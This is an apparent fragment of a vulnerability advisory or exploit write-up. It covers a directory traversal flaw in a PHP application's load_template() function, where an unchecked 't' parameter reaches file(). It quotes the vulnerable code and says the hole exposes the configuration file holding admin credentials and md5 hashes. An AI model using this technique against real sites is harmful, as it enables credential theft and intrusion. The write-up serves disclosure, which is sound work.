         ...

         't' argument is passed to load_template() function without checks

         see load_template() function in /modules/module_parser.php - lines 778-797

         ...
         function load_template($basename) {
	     global $template_cache, $Paths;

	     $filename = $Paths['templates_path'].$basename;

	     if (isset($template_cache[$basename])) {

		}
            $filetext=implode("", file($filename)); // <----------------------------|_ lol !!!

		$template_cache[$basename]=$filetext;

		return $filetext;
	 }

        }
        ...

        our argument is passed to a file() function, so, regardless of php settings,
        we can see php files at screen trough directory traversal attacks, including the
        configuration file (pv_cfg_settings.php), which cointains the admin credentials
        (username/md5 hash/sessions...)

        note: 't' can be passed as GET or POST
